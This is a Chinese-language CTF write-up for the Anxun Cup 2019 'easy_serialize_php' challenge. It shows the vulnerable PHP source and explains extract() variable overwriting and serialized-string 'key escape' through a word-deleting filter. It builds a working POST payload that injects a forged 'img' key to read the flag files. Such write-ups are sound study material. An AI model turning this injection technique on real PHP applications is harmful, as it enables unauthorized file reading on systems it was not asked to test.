安洵杯 2019 easy_serialize_php 1题解


安洵杯 2019 easy_serialize_php 1题解

前置知识

extract()变量覆盖

对于一段php代码,当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[‘function’] 全部会消失。只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>

代码的输出为

array(2){["users"]=>string(5)"guest"["function"]=>NULL}
array(1){["flag"]=>string(5)"123"}

键值逃逸

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长度是4的否则就往后要。并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。
对于序列化的字符串

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));

输出均为

array(2) {
 ["one"]=>
 string(4) "flag"
 ["two"]=>
 string(4) "test"
}

题目详解

打开题目,有source_code,跟进,有源码

 <?php
$function = @$_GET['f'];
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

先分析过滤部分

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

.implode的作用是将数组变为字符串,相当于php|flag|php5|php4|fl1g,这个函数的作用就是过滤前面这五个字符。
然后看这部分

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
} 

访问phpinfo找到文件d0g3_f1ag.php。

最后我们肯定是要利用show_image去获得flag,并且flag应该在d0g3_f1ag.php中,所以只要$userinfo[‘img’]是相应的flag的base64加密,就可以得到flag,所以我们先记住这个点,一会肯定要用。
看这段

if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);

extract() 函数从数组中将变量导入到当前的符号表,根据extract()我们可以进行变量覆盖。
但我们直接进行变量覆盖,直接给$SESSION[‘img’]一个预想的值是不现实的,因为$SESSION['img'] = base64_encode('guest_img.png')是后执行的。

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

如果我们把$_SESSION[‘img’] = base64_encode(‘guest_img.png’);这段代码的img属性放到花括号外边去,然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。那如何达到这个目的就要通过过滤函数了。
构造POST数据

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

ZDBnM19mMWFnLnBocA==也就是d0g3_f1ag.php的base64加密。那么 ;s:1:”1”; 这几个字符呢?
如果使用大佬的payload那么可以明白,现在的_SESSION就存在两个键值即phpflag和img对应的键值对。并且这个字符串得好好读才能不蒙圈。

$_SESSION['phpflag']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION['img'] = base64_encode('guest_img.png');
var_dump( serialize($_SESSION) );
#"a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

经过filter过滤后phpflag就会被替换成空,s:7:”phpflag”;s:48:” 就变成了 s:7:””;s:48:”;即完成了逃逸。
s:3:”img”;s:20:”ZDBnM19mMWFnLnBocA==”;键名img对应的字符串是d0g3_f1ag.php的base64编码。右花括号后面的;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw==”;}”全被无视了。
访问后发现flag在/d0g3_fllllllag
/d0g3_fllllllag进行base64加密L2QwZzNfZmxsbGxsbGFn,恰巧也是20位。就替换原来的就好。

参考:
https://www.cnblogs.com/h3zh1/p/12732336.html


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !